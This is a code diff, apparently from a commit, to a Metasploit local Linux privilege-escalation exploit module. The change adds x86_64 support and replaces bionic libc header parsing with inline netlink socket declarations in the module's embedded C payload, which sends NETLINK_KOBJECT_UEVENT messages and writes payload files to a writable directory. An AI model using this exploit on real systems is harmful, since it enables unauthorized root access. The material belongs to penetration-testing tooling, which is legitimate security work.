@@ -27,7 +27,6 @@ class Metasploit4 < Msf::Exploit::Local
27
27
include Msf ::Post ::File
28
28
include Msf ::Post ::Common
29
29
30
- include Msf ::Exploit ::Local ::LinuxKernel
31
30
include Msf ::Exploit ::Local ::Linux
32
31
include Msf ::Exploit ::Local ::Unix
33
32
@@ -47,7 +46,7 @@ def initialize(info={})
47
46
'egypt' # metasploit module
48
47
] ,
49
48
'Platform' => [ 'linux' ] ,
50
- 'Arch' => [ ARCH_X86 ] ,
49
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 ] ,
51
50
'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
52
51
'References' =>
53
52
[
@@ -103,53 +102,74 @@ def exploit
103
102
call exit
104
103
|
105
104
106
- # Set up the same include order as the bionic build system.
107
- # See external/source/meterpreter/source/bionic/libc/Jamfile
108
- cparser . lexer . include_search_path = [
109
- "external/source/meterpreter/source/bionic/libc/include/" ,
110
- "external/source/meterpreter/source/bionic/libc/private/" ,
111
- "external/source/meterpreter/source/bionic/libc/bionic/" ,
112
- "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/" ,
113
- "external/source/meterpreter/source/bionic/libc/kernel/common/" ,
114
- "external/source/meterpreter/source/bionic/libc/arch-x86/include/" ,
115
- ]
116
-
117
- cparser . parse ( %Q|
118
- #define DEBUGGING
119
- // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
120
- #ifndef __extension__
121
- #define __extension__
122
- #endif
123
- // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
124
- // Doing #if on an undefined macro is fine in GCC, but a parse error in
125
- // metasm.
126
- #ifndef __STDC__
127
- #define __STDC__ 0
128
- #endif
129
- #include <sys/types.h>
130
- #include <stdarg.h>
131
- #include <stdio.h>
132
- #include <unistd.h>
133
- #include <errno.h>
134
- | )
135
-
136
- [
137
- "external/source/meterpreter/source/bionic/libc/bionic/__errno.c" ,
138
- "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c" ,
139
- "external/source/meterpreter/source/bionic/libc/stdio/stdio.c" ,
140
- ] . each do |fname |
141
- cparser . parse ( File . read ( fname ) , fname )
142
- end
143
-
144
105
payload_path = "#{ datastore [ "WritableDir" ] } /#{ Rex ::Text . rand_text_alpha ( 10 ) } "
145
106
evil_path = "#{ datastore [ "WritableDir" ] } /#{ Rex ::Text . rand_text_alpha ( 10 ) } "
146
107
147
- unix_socket_h ( sc )
148
- linux_x86_syscall_wrappers ( sc )
149
-
150
108
main = %Q^
109
+ /*
110
+ ** All of these includes are now factorized.
111
+ **/
112
+ /*
113
+ #include <sys/types.h>
114
+ #include <sys/socket.h>
115
+ #include <stdarg.h>
116
+ #include <stdio.h>
117
+ #include <unistd.h>
118
+ #include <errno.h>
151
119
#include <string.h>
152
120
#include <linux/netlink.h>
121
+ */
122
+
123
+ #define NETLINK_KOBJECT_UEVENT 15
124
+ #define PF_NETLINK 16
125
+ #define SOCK_DGRAM 2
126
+ #define AF_NETLINK PF_NETLINK
127
+
128
+ typedef unsigned short __kernel_sa_family_t;
129
+ typedef unsigned int __socklen_t;
130
+ typedef int __ssize_t;
131
+ typedef unsigned int __u32;
132
+ extern int close(int __fd);
133
+ typedef unsigned short sa_family_t;
134
+ typedef unsigned long size_t;
135
+ extern int socket(int __domain, int __type, int __protocol);
136
+ extern int sprintf(char *__s, const char *__format, ...);
137
+
138
+ const struct iovec {
139
+ void *iov_base;
140
+ size_t iov_len;
141
+ };
142
+ extern void *memset(void *__s, int __c, size_t __n);
143
+
144
+ const struct sockaddr {
145
+ sa_family_t sa_family;
146
+ char sa_data[14];
147
+ };
148
+
149
+ struct sockaddr_nl {
150
+ __kernel_sa_family_t nl_family;
151
+ unsigned short nl_pad;
152
+ __u32 nl_pid;
153
+ __u32 nl_groups;
154
+ };
155
+ typedef __socklen_t socklen_t;
156
+ typedef __ssize_t ssize_t;
157
+
158
+ extern int bind(int __fd, const struct sockaddr *__addr, socklen_t __len);
159
+
160
+ const struct msghdr {
161
+ void *msg_name;
162
+ socklen_t msg_namelen;
163
+ const struct iovec *msg_iov;
164
+ size_t msg_iovlen;
165
+ void *msg_control;
166
+ size_t msg_controllen;
167
+ int msg_flags;
168
+ };
169
+
170
+ extern ssize_t sendmsg(int __fd, const struct msghdr *__message, int __flags);
171
+ /* end factorize */
172
+
153
173
#define NULL 0
154
174
155
175
int main() {
@@ -196,6 +216,10 @@ def exploit
196
216
}
197
217
^
198
218
cparser . parse ( main , "main.c" )
219
+ # This will give you all the structs and #defines (from all included
220
+ # headers) that are actually used by our C code so we can avoid
221
+ # needing them at runtime.
222
+ #puts cparser.factorize
199
223
200
224
asm = cpu . new_ccompiler ( cparser , sc ) . compile
201
225
0 commit comments